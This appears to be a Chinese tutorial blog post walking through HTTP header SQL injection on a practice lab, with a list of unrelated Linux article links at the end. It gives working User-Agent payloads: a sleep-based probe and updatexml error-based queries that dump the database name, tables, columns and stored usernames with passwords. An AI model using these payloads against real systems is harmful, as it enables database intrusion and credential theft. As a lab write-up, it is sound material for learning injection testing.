• http头部注入


    1、http头部注入分析

    1、原理

    一般获取头部的信息用于数据分析,通过请求头部可以向数据库发送查询信息,构造恶意语句可以对数据库进行信息查询。

    下面是一个头部注入靶场地址,这次我们用pass-8进行演示

    靶场:http://injectx1.lab.aqlab.cn:81/Pass-07/index.php

    这是我用burpsuit工具抓取的包

    pass-8: 

    大家可以看到这是登录界面的核心源码,账户通过server处理过的,我们注入的代码是通过$uagent带入数据库执行

    注入的代码如下:INSERT INTO uagent (‘uagent’,‘username’) VALUES ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)#','$uname');

    2、条件

    (1)能够对请求头消息进行修改

    (2)修改的 请求头信息能够带入数据库查询

    (3)数据库没有对输入的请求头做过滤

    2、http头部注入实战:

    ' or sleep(5),1)# ,通过sleep函数判断注入点,注意这里的1代表的是补位。此时我们页面会延迟5s中刷新出来。

    我采用的order by 判断位置,系统提示了一个错误,表明这里我们不能用联合注入,可以采用报错注入

    爆库:User-Agent:' or updatexml(1,concat(0x7e,database()),1),1)#

    通过报错注入构造了一个错误,后面跟一个查询,xpath通过web路径返回给数据库,查询出结果。

    爆表:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='head_error')),1),1)#

     爆字段:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='head_error' and table_name='user')),1),1)#

     爆数据:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(username,password) from head_error.user)),1),1)#

    pass-9

    ..........

    pass-10 

    ............

  • 相关阅读:
    Linux—服务管理三种方式(chkconfig和service和systemctl)
    Linux bash篇(二 操作环境)
    Linux bash篇,基本信息和变量
    Linux 磁盘管理篇,设备文件
    Linux 磁盘管理篇, 内存交换空间
    Linux 磁盘管理篇,目录管理(一)
    Linux 磁盘管理篇, 目录管理(二)
    Linux 磁盘管理篇,连接文件
    Linux 磁盘管理篇(一 磁盘分区)
    Linux 磁盘管理篇,开机挂载
  • 原文地址:https://www.cnblogs.com/xiangbing123/p/12940225.html
Copyright © 2020-2023  润新知